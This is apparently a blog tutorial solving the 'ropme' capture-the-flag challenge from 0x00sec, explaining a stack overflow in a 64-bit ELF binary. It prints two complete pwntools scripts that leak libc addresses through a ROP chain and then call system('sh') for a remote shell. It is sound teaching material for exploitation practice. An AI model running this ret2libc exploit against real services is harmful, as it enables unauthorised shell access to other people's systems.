PWNING ROPME
Please read the disclaimer
Hello, this is my first post on this website, from now on I will publish tutorials and solutions for the challenges that I complete for educational purpose.
In this small tutorial we will talk about:
- How to leak an address from libc
- How to find the correct version of libc used by the remote target
- How to exploit and gain a remote shell
We will use a tool called pwntools to write our exploit script, using python as language.
I chose a challenge proposed by the cyber security community 0x00sec. so let’s get right into it.
Reversing part:
The binary is a simple ELF 64-bit dynamically linked
let’s check its protections.
Using checksec we see that stack smashing protection is disabled.
we notice that the length of the variable s
is 0x40 but fgets
reads 0x1F4 bytes from STDIN, which means we can overwrite the return address !.
Leaking part:
Our first goal is to leak 2 different libc function addresses, to do so, we will use puts
function to print .got entries, I chose to leak puts
and fgets
addresses.
Using gdb
we find that after 72 bytes we can overwrite the return address, time to build a small rop gadget to call puts and print .got entries, for this we need to find a gadget that puts data into RDI
something like pop RDI; ret
would be cool, using ROPgadget on the binary we get :
With all this information we can write a small script to extract puts
and fgets
addresses.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
e = context.binary = ELF('./ropme')
pop_rdi_ret = 0x4006d3
r = remote('127.0.0.1', 4444) # connect to the remote service
leak = cyclic(72) # offset
leak += p64(pop_rdi_ret) # pop rdi; ret
leak += p64(e.got.puts) # argument
leak += p64(e.plt.puts) # function_call
leak += p64(pop_rdi_ret) # pop rdi; ret
leak += p64(e.got.fgets) # argument
leak += p64(e.plt.puts) # function_call
leak += p64(e.symbols.main) # return to main
r.recvuntil("ROP me outside, how 'about dah?\n")
r.sendline(leak)
puts_address = u64(r.recvline(6).strip().ljust(8, "\x00"))
fgets_address = u64(r.recvline(4).strip().ljust(8, "\x00"))
log.success('puts() at %#x', puts_address)
log.success('fgets() at %#x', fgets_address)
its output :
Now having this juicy information we can search for the libc version using one of the many libc databases out there an example would be : libc-database.
The remote target has libc6_2.23
, let’s just download it and use pwntools to extract function’s offsets from it.
Exploit part:
Now that we can leak a libc function’s address we can calculate libc base address by : libc_base_address = leaked_function_address - function's_offset_in_libc
and then get system address.
The final exploit script :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
e = context.binary = ELF('./ropme')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
pop_rdi_ret = 0x4006d3
puts_offset = libc.symbols['puts']
sys_offset = libc.symbols['system']
exit_offset = libc.symbols['exit']
sh_offset = libc.search('sh\x00').next()
r = remote('127.0.0.1', 4444) # connect to the remote service
leak = cyclic(72) # offset
leak += p64(pop_rdi_ret) # pop rdi; ret
leak += p64(e.got.puts) # argument
leak += p64(e.plt.puts) # function_call
leak += p64(pop_rdi_ret) # pop rdi; ret
leak += p64(e.got.fgets) # argument
leak += p64(e.plt.puts) # function_call
leak += p64(e.symbols.main) # return to main
r.recvuntil("ROP me outside, how 'about dah?\n")
r.sendline(leak)
puts_address = u64(r.recvline(6).strip().ljust(8, "\x00"))
fgets_address = u64(r.recvline(4).strip().ljust(8, "\x00"))
log.success('puts() at %#x', puts_address)
log.success('fgets() at %#x', fgets_address)
libc_base = puts_address - puts_offset
log.success('libc_base located at %#x', libc_base)
system = libc_base + sys_offset
sh = libc_base + sh_offset
exit = libc_base + exit_offset
exploit = cyclic(72) # offset
exploit += p64(pop_rdi_ret) # pop rdi; ret
exploit += p64(sh) # argument
exploit += p64(system) # function_call
exploit += p64(exit)
r.recvuntil("ROP me outside, how 'about dah?\n")
r.sendline(exploit)
r.interactive()